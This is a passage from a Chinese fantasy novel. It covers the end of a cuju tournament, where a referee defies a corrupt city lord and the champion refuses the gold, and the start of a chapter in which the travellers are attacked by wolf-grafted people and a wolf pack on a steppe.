陈瑶瑶看着他,忽然觉得这个莽撞的少年,好像有什么地方不一样了。
三日后,蹴鞠王大赛开赛。
三十二名选手,十六场比赛,一天之内决出胜负。场地是白玉铺就的鞠场,球门是那扇两尺见方的“风流眼”。规则简单:每队一人,轮流踢鞠,一炷香内,鞠穿过风流眼次数多者胜。
看台上人山人海,挤得水泄不通。有穿绸衫的富人,有穿短褐的穷人,有抱孩子的妇人,有骑在父亲脖子上的孩童。所有人都伸长了脖子,盯着鞠场。
阎鹤第一场的对手是个瘦高的中年人,据说上届进了复赛。
哨声一响,中年人抢先出脚。鞠在空中划过一道弧线,精准穿过风流眼——那两尺见方的洞,从他站的位置看去,只有巴掌大。
看台上响起一阵喝彩,掌声雷动。
阎鹤站在场边,不慌不忙地嚼着不知道从哪儿摸出来的米糕。他嚼得很慢,很认真,像在品尝什么珍馐美味。
“该你了!”中年人冲他扬了扬下巴,一脸得意。
阎鹤咽下最后一口米糕,走到鞠前。他弯腰,拨了拨鞠,像在试探它的脾气。然后他直起身,吸气——
肚子收了回去,又弹了回来。
脚起,鞠飞。
那鞠在空中转了三圈,划出一道诡异的弧线,像被什么牵引着,从风流眼的左下方钻了进去——那个角度,那个位置,正常人根本踢不出来。
看台上一片寂静。
随即爆发出雷鸣般的喝彩,震得人耳朵嗡嗡响。
中年人的脸色变了,从得意变成震惊,从震惊变成难看。
接下来的一炷香,阎鹤踢了十七次,十七次全进。中年人踢了十五次,进了十次。
阎鹤赢了。
他走下场的时候,还不忘从怀里摸出另一块米糕,塞进嘴里。
第二场,第三场,第四场——
他一路赢下去。每一场都赢得轻松,每一场都让看台上的人目瞪口呆。那个圆滚滚的身影在鞠场上奔跑,胖是胖,可那双脚灵巧得像会说话,鞠到了他脚下,就像黏住了似的,怎么也丢不了。
他踢鞠的时候,整个人都变了。不再是那个笑嘻嘻的胖子,而是一个专注的、认真的、眼里只有那个鞠的人。
“我滴个乖乖。”公孙潜龙看呆了,嘴巴张得能塞进一个拳头,“这小子……这么厉害的吗?”
云河没有回答。她的目光落在裁判席上。
阿渡坐在那里,脸色一天比一天白。他的手一直攥着哨子,指节泛出青色,像得了什么病。每当城主的儿子——那个叫方鹤的少年上场时,他手里的哨子就会抖一下,抖得很轻,但云河看见了。
方鹤也赢了。
每一场都赢得很险,每一场都有争议。对手明明踢得更好,却总在关键时刻“失误”——踩到自己的鞋带,被阳光晃了眼,脚底一滑。
裁判的哨子一次也没响。
看台上的嘘声一天比一天大,可没有用。这里是阙城,城主的规矩就是天。嘘声再大,也改变不了任何事。
决赛那天,阳光很好。
天空蓝得像洗过,一丝云也没有。阳光照在水晶城上,折射出万千光芒,晃得人睁不开眼。
阎鹤站在鞠场东侧,方鹤站在西侧。看台上坐满了人,连水晶城的城墙上都挤满了脑袋,远远望去,像一串串葡萄挂在墙上。
高台上,城主端着玉杯,面带微笑。他的目光落在阎鹤身上时,多停了一瞬,那目光里有什么东西,让人看不透。
“决赛开始!”宦官尖声道。
哨声响起,方鹤先踢。
他的技术不差,看得出是名师调教出来的。第一脚,鞠飞起,穿过风流眼,进了。第二脚,又进了。第三脚,也进了。
看台上响起稀稀落落的掌声——大多是城里的官员和富商,他们拍得不情不愿,像完成任务。平民们沉默着,一言不发。
轮到阎鹤。
他走到鞠前,忽然回头,看了一眼裁判席。
阿渡坐在那里,低着头,手里的哨子几乎要被他攥断。他的肩膀在抖,很轻,很轻。
阎鹤收回目光,抬脚——
鞠飞起,在空中划过一道弧线,像被什么牵引着,穿过风流眼,稳稳落在对面。
干净利落。
看台上爆发出一阵欢呼,那是平民们的欢呼。
接下来的一炷香,成了两个人的表演。
方鹤踢,十次进八次。阎鹤踢,十次进十次。
方鹤踢,十次进七次。阎鹤踢,十次进十次。
比分咬得很紧,可谁都看得出来,阎鹤踢得更好。他的鞠像长了眼睛,不管从哪个角度踢,最后总能钻进那个两尺见方的洞里。
最后一炷香燃尽时,宦官尖声宣布:“比赛结束!阎鹤四十七进,方鹤四十进——阎鹤胜!”
看台上静了一瞬。
随即爆发出山呼海啸般的欢呼。那是平民们的欢呼,压抑了三天的情绪终于释放出来,像洪水决堤,像山崩地裂。有人跳起来,有人抱在一起,有人哭了出来。
方鹤站在场中,脸色铁青,像一块生锈的铁。
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>阿渡的手一松,哨子掉在地上,发出一声脆响。
高台上,城主缓缓站起身。
他很高,站起来的时候,整座鞠场都安静了。欢呼声戛然而止,像被人掐住了脖子。
他的目光扫过看台,扫过那些刚才还在欢呼的平民,最后落在阎鹤身上。
“你赢了。”他说,声音不大,却清清楚楚传进每个人耳朵里,像冰碴子掉进脖子里,“按照规矩,你可以进城见我,领取黄金宝藏。”
阎鹤抬起头,看着他,没有说话。
“不过。”城主话锋一转,嘴角勾起一丝笑意,“按照规矩,裁判的判罚,才是最终结果。本届大赛的裁判是——”
他看向阿渡。
阿渡浑身发抖,慢慢站起来。
全场鸦雀无声。连呼吸声都听不见。
“裁判阿渡。”城主说,“你是否认同比赛结果?”
阿渡的嘴唇动了动。他看向阎鹤,看向那个圆滚滚的、笑得没心没肺的少年。他看向看台,看向那些满脸期待的平民。他看向高台,看向城主那张似笑非笑的脸。
最后,他看向城墙根下——
那里,一个小小的身影蹲着,抱着一个麻绳扎的鞠,正朝这边望。
小鱼。
阿渡的眼泪忽然涌了出来。
他张开嘴,想说什么,可喉咙里像塞了团棉花,一个字也吐不出来。他的嘴唇在抖,下巴在抖,全身都在抖。
“裁判阿渡。”城主的声音慢悠悠的,像猫捉老鼠前的逗弄,像在玩一个有趣的游戏,“你是否认同比赛结果?”
阿渡攥紧哨子,指节发白,手背青筋暴起。
他想起那天,小鱼问他:“爹,你今年还去当裁判吗?”他说去。小鱼高兴地蹦起来。
他想起更早的时候,小鱼刚学会走路,就抱着一个比脑袋还大的鞠,跌跌撞撞往他怀里扑,摔倒了也不哭,爬起来继续走。
他想起小鱼每次踢进一个球,都会回头看他,眼睛亮亮的:“爹!你看见了吗?”
他看见了。
他一直都看见。
“裁判阿渡。”城主的声音冷下来,像刀子刮在骨头上,“我在问你话。”
阿渡缓缓抬起头。
他的眼睛红得像要滴血,可他的背挺得笔直。他直直地看着城主,一字一字说:
“我认同。”
全场哗然。
方鹤脸上露出得意的笑容,那笑容像一朵花在脸上绽开。
可阿渡的下一句话,让他的笑容僵在脸上。
“——认同阎鹤赢。”
阿渡的声音很大,大到城墙根下的小鱼都能听见:“四十七比四十,阎鹤胜!我方鹤——不,我阿渡,当裁判二十年,从没判错过一场比赛!今天也不会!”
他把哨子往地上一摔,转身就走。
哨子在地上弹了两下,滚出去很远。
看台上静了一瞬,随即爆发出更疯狂的欢呼。那欢呼声震天动地,像要把整座鞠场掀翻。
城主的脸色变了。
他盯着阿渡的背影,盯着那个瘦削的、却挺得笔直的背影,嘴角抽动了一下,像被人抽了一巴掌。
“好。”他说,声音里听不出喜怒,“好得很。”
他转向阎鹤:“既然裁判认同,那你就是冠军。进城吧,黄金在等你。”
阎鹤看着他,没有动。
“怎么?”城主挑眉,“怕了?”
阎鹤摇摇头,忽然笑了。还是那种没心没肺的笑,可眼睛里有东西不一样了。那东西很亮,很硬,像一颗石头。
“城主,”他说,“黄金我不要。”
全场再次安静下来。
城主的眼睛眯起来,眯成两条缝:“你不要?”
“不要。”阎鹤说,“我参赛,就是想赢一次。现在赢了,够了。”
他转过身,朝公孙潜龙他们走去。
“站住。”城主的声音冷得像刀,像冬天里刮过的北风。
阎鹤停下脚步,没有回头。
“黄金你可以不要,”城主说,“但规矩不能破。冠军必须进城,见城主,领宝藏。这是阙城百年来的规矩。”
阎鹤沉默了一会儿,慢慢转过身。
他看着城主,看着那张高高在上的脸,忽然问:“那船夫的儿子呢?”
城主一愣。
“那个孩子,六岁,踢球比城里大半人都好。”阎鹤说,“他这辈子能参赛吗?”
城主没有回答。
“不能。”阎鹤自己答了,“因为他爹是船夫,因为您定了规矩——只有城里人能参赛,城外的人,踢得再好,也只能蹲在墙根下看。”
他看着城主,一字一字说:“城主的规矩,是保护城主的。不是保护踢球的。”
全场鸦雀无声。
城主的脸色沉下来,像暴风雨来临前的天空。他张了张嘴,正要说什么——
“汪!”
一声狗叫,从看台上传来。
发财不知什么时候蹿到了场边,冲着一个方向使劲摇尾巴,尾巴摇得像风车。
陈瑶瑶顺着它的目光看去,愣住了。
城墙根下,那个小小的身影站了起来。
小鱼抱着他的鞠,一步一步走进鞠场。
他走得很慢,每一步都踩得很实。小小的脚丫踩在白玉地面上,发出轻轻的啪嗒声。他穿过看台,穿过人群,走到阎鹤面前,仰起头,看着这个圆滚滚的少年。
“叔叔,”他说,“你踢得真好。”
阎鹤蹲下来,跟他平视。一大一小两个脑袋凑在一起,像两颗球。
“你也踢得好。”阎鹤说,“我在看台上看见了。”
小鱼的眼睛亮了一下,像两颗星星在闪,随即又黯下去:“可我不能参赛。我爹说,城外的人,一辈子都不能参赛。”
阎鹤沉默了一会儿,忽然笑了。他伸手,摸了摸小鱼的脑袋,手掌盖在那颗小脑袋上,轻轻揉了揉。
“那你知道,什么叫冠军吗?”他问。
小鱼摇摇头。
“冠军就是,”阎鹤说,“赢的时候,有人替你高兴。”
他站起身,回头看了一眼公孙潜龙,看了一眼云河,看了一眼陈瑶瑶。然后他转回头,朝小鱼伸出手:
“来,我教你踢一脚。”
小鱼愣了愣,把手里的鞠递过去。
阎鹤接过鞠,往后退了几步。他站定,深吸一口气,肚子收了回去——
抬脚。
鞠飞起,划过一道优美的弧线,像一只鸟,像一颗流星,精准穿过两尺见方的风流眼,稳稳落在对面。
小鱼的眼睛亮了。
那光芒比夜明珠还亮,比阳光还亮,比世间所有的光加在一起还亮。
全场静了一瞬,随即响起掌声。
不是欢呼,是掌声——轻轻的,一下一下,像有什么东西在人们心里活过来了,像有什么东西破土而出。
高台上,城主沉默地看着这一切。
他忽然笑了一声,那笑声里听不出喜怒:“确实好天赋,可惜了。罢了,且破例一次,让他们走吧。”
他转身,走下高台,消失在城楼深处。
黄昏时分,云河一行人站在海边。
夕阳把海面染成橙红色,比任何一次都红,像一大锅番茄汤熬到了火候。海浪轻轻拍着沙滩,哗啦,哗啦。
公孙潜龙拉着阎鹤,絮絮叨叨说着什么。发财趴在陈瑶瑶怀里,心满意足地舔着阎鹤临别前塞给它的糖糕——整整一包,用油纸包着,扎着红绳。
它舔得忘我,舔得投入,舔得胡子眉毛一绺一绺,整个脑袋像刚从糖浆里捞出来。
阿渡和小鱼站在不远处。小鱼抱着他的鞠,眼眶红红的,却没有哭。他咬着嘴唇,努力不让眼泪掉下来。阿渡低着头,不知在想什么。
“你真不要黄金?”公孙潜龙第一百遍问。
阎鹤笑着摇头:“不要。”
“那你跟我走吧。”公孙潜龙说,“我闯荡万境,正缺个伴儿。你能踢球,我能打架,咱俩……”
“龙哥。”阎鹤打断他,笑了笑,“我要回家了。”
公孙潜龙愣住了。
“我娘走得早,我爹一个人把我拉扯大。”阎鹤说,“他老了,腿不好,冬天总喊冷。我想回去,给他盖间新房子,陪他说说话,给他踢鞠看。”
他看着海面上的夕阳,声音很轻,轻得像要融进风里:“赢了就够了。剩下的,该回家了。”
公孙潜龙沉默了很久,忽然用力拍了拍他的肩膀,拍得砰砰响:“好。回家好。”
阎鹤转向云河,郑重地行了一礼,鞠了个九十度的躬:“多谢云河姐姐。若不是你告诉我裁判的事,我可能到现在还不明白,他为什么那么难。”
云河微微摇头:“你自己看出来的。”
阎鹤又转向陈瑶瑶,笑了笑:“瑶瑶姐,发财真可爱。你养得好。”
陈瑶瑶愣了愣,随即笑了。这是第一次有人夸她“养得好”——明明她什么也没做,都是发财自己养自己。
阎鹤最后看了一眼水晶城,转身朝海边走去。
“阎公子。”
阿渡的声音从身后传来。
阎鹤停下脚步。
阿渡走过来,从怀里掏出一样东西,塞进阎鹤手里。
那是一枚哨子。裁判的哨子。黄铜做的,擦得很亮,在夕阳下泛着金色的光。
“拿着。”阿渡说,声音有些哑,“做个念想。”
阎鹤低头看着那枚哨子,握紧了,点点头。
他走了。
圆滚滚的背影,一步一步,踩在沙滩上,留下一串深深的脚印。他走得很慢,但没有回头。
夕阳照在他身上,给他镀上一层金边。
公孙潜龙站在原地,望着那个方向,久久不动。
“你不跟着去?”陈瑶瑶问。
公孙潜龙摇摇头:“他有他的路。我有我的。”
他顿了顿,忽然问云河:“下一个境,能带上我吗?”
云河看了他一眼,没有回答,只撑开白骨伞。
伞面展开,骨珠轻响。
发财从陈瑶瑶怀里探出脑袋,冲着公孙潜龙“汪”了一声。
那意思大概是:上来吧,别磨叽。
公孙潜龙笑了,大步走到伞下。
白骨伞腾空而起,载着四人一兽,向海天相接处飞去。
身后,水晶城越来越小,最后融进夕阳里,只剩一点微光。
陈瑶瑶低头看向海面,忽然愣住了。
海水里,有什么东西在发光。
不是珍珠,不是珊瑚——是一粒小小的、圆润的光点,像一颗眼泪,又像一枚种子。
它沉在水底,一闪一闪,像是在等什么。
小鱼站在岸边,望着远去的白骨伞,忽然举起手里的鞠,用力挥了挥。
“叔叔——”他喊,小小的声音用尽全身力气,“我会好好踢的——!”
海风把他的声音吹散,吹成细细的碎片,飘向远方。
发财“汪”了一声,像是在回应。
云河收起伞,目光落在远方。
伞柄上,白鹤踱步,轻轻跳了两下。
任务完成。
夕阳沉入海面,天边只剩一线橙红。
海风轻轻吹着,海浪轻轻拍着。
那粒光点沉在海底,一闪一闪,像在下一个乘船人。
6. 境殿
路君已经饿了三天三夜。
她趴在草原上,耳朵贴着地面,听着远处的声音。风从北边吹过来,带着青草的气息,也带着狼群的气息——那是她的族群,曾经是她的族群。
三天前,她抢了首领的食物。
只是一块肉。一块被首领挑剩下的、沾着泥巴的肉。小得可怜,连塞牙缝都不够。可她太饿了,饿得眼睛发花,饿得腿打颤,饿得忘记了狼的规矩,忘记了自己的位置。她扑上去,叼起那块肉,还没来得及咽下去,首领的爪子就拍在了她脸上。
那一掌很重,重得她眼前一黑,嘴里那块肉飞了出去,落在草丛里,不知道滚去了哪里。她趴在地上,耳朵嗡嗡响,眼前金星乱冒,听见首领的低吼,听见族狼的咆哮,听见那个声音:
滚。
于是她就滚了。
滚出了族群,滚出了洞穴,滚出了她熟悉的一切。
狼群不要她了。
路君趴在地上,耳朵耷拉下来,尾巴也耷拉下来。她盯着远处的山丘,那里有她的兄弟姐妹,有她长大的洞穴,有她熟悉的一切。
现在都没有了。
她的肚子咕噜咕噜叫,像有一群青蛙在里头打架。她闭上眼睛,想睡一觉,睡着就不饿了。可刚闭上眼,鼻子就抽动起来——
有气味。
不是狼,不是羊,不是草原上任何她熟悉的东西。那气味很奇怪,像铁,像火,像……人?
路君睁开眼睛,金色的瞳孔在黑暗中微微发光。
远处,有三个影子正在靠近。
陈瑶瑶抱着发财,跟在云河身后,深一脚浅一脚地走着。
草原真大。大得没边,大得让人心慌。天是蓝的,草是黄的,风吹过来,草浪一层一层翻滚,像海,像永远走不出去的海。
发财趴在她怀里,睡得正香。它四仰八叉,肚皮朝天,偶尔抽抽鼻子,偶尔蹬蹬腿,不知道在做什么美梦。它的耳朵耷拉下来,盖住半边脸,随着陈瑶瑶的步伐一颤一颤,像两片黄色的叶子在风里晃。
“云河姐,”陈瑶瑶小声问,“我们还要走多久?”
云河没有回答。
她走在前面,白骨伞收拢,握在手里,像握着一根拐杖。她的背影很瘦,很直,像一把刀插在草原上。风吹起她的衣角,吹起她的头发,她一动不动,像长在草原上的一棵树。
陈瑶瑶叹了口气,低头看了看发财,小声嘟囔:“她是不是又没听见?”
发财没醒。
就在这时,一阵风从侧面吹过来。
发财的鼻子忽然抽动了一下。它的耳朵刷地竖起来,眼睛猛地睁开——
“汪!”
一声尖叫般的狗叫,发财从陈瑶瑶怀里弹起来,浑身的毛都炸开了,像一只刺猬。
陈瑶瑶还没反应过来,就看见一个影子从草丛里扑出来。
那是一个人。不,不是人。是狼。不,是人。
陈瑶瑶的大脑一片空白。她看见一张脸,一张少女的脸,尖尖的下巴,金色的眼睛,头发乱糟糟的,像枯草一样披散着。可那张脸下面,是狼的身体——灰褐色的毛,四条腿,一条尾巴。
狼人。
那个词刚从陈瑶瑶脑子里冒出来,狼人少女就扑到了她面前。那双金色的眼睛没有看她,而是死死盯着她怀里的——
发财。
发财炸得更厉害了。它浑身的毛都竖着,像一根根针,嘴里发出“呜呜”的警告声,可那声音抖得厉害,一点儿也不吓人,倒像是在哭。
“啊——”
陈瑶瑶只来得及把发财往怀里一搂,转身,用后背对着那个扑过来的影子。
然后一阵剧痛从手臂上传来。
她低头,看见那张脸埋在自己手臂上,牙齿深深嵌进肉里。血涌出来,鲜红鲜红的,顺着胳膊往下流,滴在草地上,滴在发财身上。
疼。
疼得她眼前发黑,疼得她想尖叫,可嗓子眼像被什么东西堵住了,叫不出来。那种疼不是刀子割的疼,是牙齿咬进肉里、卡在骨头上的疼,又闷又钝。
发财在她怀里疯狂挣扎,汪汪大叫,叫声又尖又急,像要把天捅个窟窿。它四条腿乱蹬,可怎么也挣不开陈瑶瑶的手——陈瑶瑶的手像长在了它身上,死也不松。
云河——云河姐——
陈瑶瑶脑子里只剩下这个名字。
狼人少女咬得很深,牙齿卡在骨头缝里,像要把她的手臂整个撕下来。陈瑶瑶听见自己的骨头在响,咯吱咯吱,像木头要断掉的声音。她疼得浑身发抖,眼泪止不住地流,可她死死抱着发财,没有松手。
就在这时,她忽然想起一件事——
狗粮。
发财的狗粮在她怀里。用油纸包着,扎着红绳。
她腾出一只手,把那包狗粮狠狠扔了出去。
油纸在空中散开,狗粮像下雨一样洒落,金黄的、圆滚滚的,落进草丛里,落进泥土里,落在那双金色的眼睛前。
狼人少女的鼻子抽动了一下。
她的牙齿松开了陈瑶瑶的手臂。
那双金色的眼睛转向那片洒落的狗粮,盯着,盯着,像盯着世界上最珍贵的东西。她的喉咙里发出一声低沉的呜咽,像是挣扎,像是犹豫。
然后她扑了出去。
不是扑向陈瑶瑶,不是扑向发财,是扑向那片洒落的狗粮。她趴在地上,用嘴去叼那些金黄的颗粒,一颗一颗,狼吞虎咽。
陈瑶瑶顾不上看,抱着发财转身就跑。
手臂上的血甩出去,洒在草叶上,洒在地上,洒在她自己的衣服上。她跑得跌跌撞撞,跑得东倒西歪,像一只受伤的兔子。
她一边跑一边吹哨。那是云河给她的哨子,白玉做的,小小的,凉凉的,用一根红绳挂在脖子上。云河说,遇到危险就吹,使劲吹。
她吹了。
哨声尖锐刺耳,在草原上远远传开,像一根针扎进夜空。
身后传来一声闷响。
砰——
像有什么东西被重重砸中。陈瑶瑶回头,看见狼人少女倒飞出去一尺,重重摔在地上。她挣扎着爬起来,金色的眼睛往这边看了一眼,然后转身就跑,消失在草丛里。
云河从天而降。
白骨伞收拢,握在她手里,伞尖还沾着一点灰褐色的毛。她落在地上,没有声音,像一片叶子飘下来。
她落地,目光落在陈瑶瑶身上——那一身的血,那个还在冒血的伤口,那条无力垂下的手臂。
她皱眉。
很轻,很浅,但陈瑶瑶看见了。
云河没有说话。
她倒转伞柄,从伞骨里抽出一把匕首。那匕首很薄,很亮,刀刃上刻着细密的花纹,像一片柳叶。
她划破了自己的手腕。
血涌出来,鲜红的,滴进她拿出的一个绿瓶里。绿瓶很小,只有拇指大,可那些血流进去,怎么也装不满。
云河摘下一片叶子。不知道从哪儿来的叶子,翠绿翠绿的,像刚从树上摘下来。她把血滴在叶子上,血珠滚了滚,没有滑落,而是慢慢渗进叶脉里,像水流进河道,把整片叶子染成了淡红色。
然后她把叶子贴在陈瑶瑶的伤口上。
冰凉。
像一块冰敷在伤口上,像一阵风吹过手臂。那钻心的疼痛慢慢退去,像潮水退潮,像雾散开。
陈瑶瑶长长地出了一口气。
她终于能发出声音了。她张了张嘴,嗓子干得像要冒烟,好不容易挤出一句话:
“她……她到底是人是狼?”
云河没有回答。她看着狼人少女消失的方向,目光很沉。
“没想到,”她说,声音很轻,“我们居然到了鸦狼的地盘。”
云河找了个背风的地方,让陈瑶瑶坐下休息。她把白骨伞撑开,插在地上,伞面微微倾斜,遮住陈瑶瑶头顶的月光。
“鸦狼是什么?”陈瑶瑶问。
云河沉默了一会儿,开口了。
“鸦狼,曾经是最顶尖的仙人境殿主。”
她的声音很淡,像在说一件很久以前的事。
“镜殿。听过吗?”
陈瑶瑶摇头。
“那是她的殿。万境之中,排名前十的仙人境。”云河说,“她被称为‘镜主’,据说能照见人心,能映出真相。她的殿里有一面镜子,叫‘照心镜’,所有进去的人,都藏不住秘密。”
陈瑶瑶听得入神。
“后来呢?”
“后来她被驱逐了。”云河说,“不知道原因,没有人知道。只知道她被剥去一身仙骨,扔进万境之外的无尽虚空。”
陈瑶瑶倒吸一口凉气。
剥去仙骨。她不知道那是什么感觉,但光听这四个字,就觉得疼。
“她没死。”云河说,“她坐化在一匹母狼身上。”
“坐化?”
“就是死。”云河说,“但她没死透。她的魂魄借了狼的肉身,活了下来。”
陈瑶瑶愣住了。
“然后呢?”
“然后她教化了一群狼。”云河说,“用人的智慧,教狼的族群。她开辟了一处境,叫啸风境。”
她顿了顿,目光投向远方,投向那片无边无际的草原。
“我们现在就在啸风境。”
陈瑶瑶沉默了很久。
“那个咬我的……是狼,还是人?”
云河看了她一眼。
“是种人。”
“种人?”
“以人的躯体,种下动物的血液和脏器。”云河说,“这样既能有人的智慧,又能获得动物的能力。眼睛、耳朵、鼻子、爪子、皮毛——想要什么,就种什么。”
陈瑶瑶想起那双金色的眼睛,那对竖起来的耳朵,那条甩来甩去的尾巴。
“她种的……是狼?”
云河点头。
“她为什么咬我?”
云河低头看了看发财。发财正趴在陈瑶瑶腿上,心满意足地舔着爪子,浑然不知自己差点成了别人的午餐。
“因为她饿了。”云河说,“她盯上发财了。”
陈瑶瑶一把把发财抱紧。发财被她勒得翻了个白眼,四条腿乱蹬。
“别怕。”云河说,“她不敢再来了。”
“为什么?”
云河没有回答。她只是看了看自己的白骨伞。
伞柄上,白鹤正在踱步。它走了两圈,停下来,跳了三下。
三下。三重任务。
云河的眉头微微皱起。
“我们要走。”云河忽然说。
陈瑶瑶一愣:“现在?”
云河没有回答。她伸手握住白骨伞,想把伞收起来。
伞没动。
她又使了使劲。
伞还是没动。
云河的表情终于有了一丝变化——不是惊慌,不是害怕,而是一种很轻微的不耐烦。
“怎么了?”陈瑶瑶问。
“白骨与我的联系断了。”云河说,“这次来的好快。我们只能三天后才能离开这里。”
陈瑶瑶没听懂。
云河难得解释了一句:“刚才那一下,用了全力。伞需要时间恢复。”
“那我们……”
“往境边缘走。”云河说,“躲过狼群的嗅觉。”
她弯下腰,把发财从陈瑶瑶怀里拎起来,放进自己怀里。发财受宠若惊,耳朵竖得笔直,尾巴摇得像风车。
“你抱着它,跑不快。”云河说。
草原很大,大得没有边际。太阳从头顶移到西边,又沉下去,换上一轮月亮。月亮很亮,亮得能看见草叶上的露珠,亮得能看见远处山丘的轮廓。
她们走了一夜。
陈瑶瑶的手臂已经不疼了,云河的血和叶子像是有魔力,伤口愈合得很快,只剩下一道浅浅的红印。可她累,累得腿发软,累得眼皮打架。
云河走在前面,一直没说话。
发财趴在她怀里,睡得很香。
天快亮的时候,云河忽然停下脚步。
陈瑶瑶差点撞上她的后背。
“怎么了?”
云河没有回答。她盯着前方,目光很冷。
陈瑶瑶顺着她的视线看去,愣住了。
前面站着一个人。不,不是一个人——是一个高大的身影,穿着破烂的衣服,头发乱糟糟的,脸上沾满了泥巴和草屑。
公孙潜龙。
他看见她们,眼睛一亮,大步跑过来:“可算找着你们了!你们怎么跑这么快,我追了三……”
话没说完,一道黑影从侧面扑了出来。
那是一个狼少年。和之前那个狼人少女一样,他长着人的脸,狼的身体。他扑向公孙潜龙,速度快得像一道闪电,爪子直取他的后心。
公孙潜龙头也不回,一拳砸了过去。
他真的没有回头。他只是听见风声,感觉到杀气,然后本能地挥出一拳。那一拳没有瞄准,没有用力,只是随手一挡。
他只是想把人推开。真的,他只是想推开。
可那个狼少年不知道躲,也不知道挡,硬生生接下了这一拳。
拳头砸在他头顶。
咔嚓。
很轻的一声,像树枝折断。
狼少年的身体晃了晃。他脸上的表情凝固了,那双金色的眼睛看着公孙潜龙,眼神里有茫然,有不解,有委屈。
然后他直挺挺地倒了下去。
公孙潜龙愣住了。
他低头看着自己的拳头,看着倒在地上的人,脸上的表情从茫然变成震惊,从震惊变成惊恐。
“我……我没想……”
他蹲下去,伸手去探那个狼少年的鼻息。手在抖,抖得厉害。
没有呼吸。
他又去摸脉搏,摸脖子上的血管,摸胸口的心跳。
什么都没有。
死了。
公孙潜龙一屁股坐在地上,脸色白得像纸。他看着自己的拳头,看着那只杀过幼狼、杀过狼少年的拳头,嘴唇在抖,下巴在抖,全身都在抖。
“我……我真的没想……”
另一个黑影从草丛里蹿出来。那也是一个狼少年,和死去的那个长得一模一样。他看着倒在地上的同伴,看着他们,然后转身就跑,消失在夜色里。
云河闭上眼睛,叹了口气。
那声叹息很轻,但在寂静的草原上,清清楚楚传进每个人耳朵里。
“在他们眼里,”她说,“不管谁杀的,我们都是外来闯入者。”
她睁开眼,看着公孙潜龙。
“备战吧。”
第一波进攻来得很快。
狼群从四面八方围过来,金色的眼睛在黑暗中闪烁,像一片移动的星星。他们不说话,只是盯着,盯着,像在打量猎物。
云河撑开白骨伞,挡在陈瑶瑶身前。
公孙潜龙站在她旁边,攥紧拳头,脸色很难看。他盯着狼群,盯着那些金色的眼睛,嘴唇抿成一条线。
“我没想杀他。”他说,声音很低。
云河没有回答。
狼群动了。
最前面几匹狼扑上来,速度快得像风,爪子锋利得像刀。云河的伞转起来,伞面像一面盾牌,把所有的攻击都挡在外面。狼爪抓在伞面上,发出刺耳的摩擦声,火花四溅,却怎么也抓不破。
公孙潜龙站在伞后,一拳一拳砸出去。他的拳头很重,每一拳都能把狼打飞出去。狼摔在地上,滚两圈,爬起来,又扑上来。
陈瑶瑶抱着发财,蹲在两人中间,一动不敢动。发财缩在她怀里,耳朵贴着头皮,一声不吭。
第一波进攻持续了一炷香的时间。
狼群退了。
它们退到远处,金色的眼睛依旧盯着这边,盯着,盯着,像在等什么。
云河的伞没有收。她站在最前面,额头上渗出一层薄汗。
“他们不会罢休的。”她说。
公孙潜龙点头:“我知道。”
话音刚落,草丛里传来一阵窸窸窣窣的声音。
发财的耳朵忽然竖了起来。
它从陈瑶瑶怀里探出脑袋,朝那个方向看去。那里有一只小狼,很小,很小,比发财大不了多少。它趴在草丛里,一条腿蜷着,嘴里发出呜呜的声音,像是在哭,像是在求救。
发财的眼睛亮了。
它从陈瑶瑶怀里跳出来,朝那只小狼跑去。
“发财!”陈瑶瑶惊叫。
发财没回头。
它跑到小狼身边,低下头,用鼻子拱了拱它。小狼呜呜叫着,挣扎着站起来,一瘸一拐往前跑。跑几步,回头看看发财,又跑几步。
发财跟了上去。
“发财!”陈瑶瑶要追,被云河一把拦住。
“别动。”云河说。
她的声音很平静,但陈瑶瑶看见——她的手在发抖。
那只握白骨伞的手,那只永远稳如磐石的手,在发抖。
“云河姐……”
云河没有听完。她握着伞,朝发财消失的方向追了过去。
公孙潜龙愣了愣,一跺脚,也追了上去。
陈瑶瑶追不上他们。她只能跑,拼命跑,朝那个方向跑。
等她跑到的时候,只看见——
白骨伞掉在地上,躺在草丛里。
云河半跪在地上,一只手捂着肩膀,血从指缝里渗出来。她的脸色很白,白得像纸,嘴唇一点血色都没有。
发财倒在旁边,一动不动。
那双金色的眼睛,在黑暗中亮得刺眼。
那是狼王。
比所有狼都大,比所有狼都壮,皮毛灰白相间,像披着一层霜。它站在云
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河面前,金色的眼睛盯着她,像在欣赏猎物的挣扎。
然后它动了。
速度快得看不清,只看见一道灰白的影子闪过,它的嘴就咬住了云河的脖子。
血喷出来。
鲜红的,滚烫的,洒在草地上,洒在发财身上,洒在那双金色的眼睛里。
“不——”
公孙潜龙冲了上去。
他没有用拳头。他冲向旁边的一棵树,双手抱住树干,用力一折——
咔嚓。
树断了。
他握着那棵树,冲向旁边的一块石头,把树干在石头上狠狠摩擦。火星四溅,溅在干枯的草叶上,草叶烧起来,火苗蹿起来,在夜风中越烧越旺。
公孙潜龙深吸一口气,对着那团火猛地一喷——
呼!
火势像被浇了油一样爆开,烧成一片火海,朝狼群扑去。
狼群退了。金色的眼睛在火光中闪烁,然后消失在黑暗中。
公孙潜龙冲上去,一把抱起云河,一手拎起发财,转身就跑。
陈瑶瑶追上去,看着他怀里的云河——那个永远清冷的、永远淡然的、永远站在最前面的云河,此刻闭着眼睛,脖子上的血还在流,流得满身都是。
“云河姐……”
她喊不出来。
他们跑。
跑过草原,跑过山丘,跑过沟渠。
血洒了一路。
狼群在后面追,金色的眼睛像一片移动的星星,怎么也甩不掉。
公孙潜龙跑进一条沟渠,忽然停下脚步。
前面站着一个人。
是那个狼人少女。那个咬过陈瑶瑶的狼人少女。
她站在那里,金色的眼睛盯着他们——不对,盯着公孙潜龙怀里。
发财。
那只奶黄色的小兽,耳朵耷拉着,身上沾满了血,不知道是死是活。
狼人少女的鼻子抽动了一下。她的目光从发财身上移开,移向公孙潜龙身后——那些追来的狼群,那些金色的眼睛,那些越来越近的喘息声。
她忽然转身,朝一个方向跑去。
跑几步,回头,看他们一眼。
“跟上。”公孙潜龙说。
他们跟上去。
狼人少女带他们跑到一片泥潭边。泥潭很大,黑漆漆的,散发着腐烂的气味。她毫不犹豫地跳了进去,整个身子沉进泥里,只剩一张脸露在外面。
公孙潜龙咬了咬牙,抱着云河和发财,也跳了进去。
泥很软,很黏,很臭。陈瑶瑶忍着恶心,学着狼人少女的样子,把身子沉下去,只露出口鼻呼吸。
狼群追过来了。
它们停在泥潭边,金色的眼睛四处扫视,鼻子抽动着,嗅着空气中的气味。
陈瑶瑶屏住呼吸。
一只狼低下头,朝泥潭走来。它的鼻子几乎贴到泥面上,抽动着,抽动着——
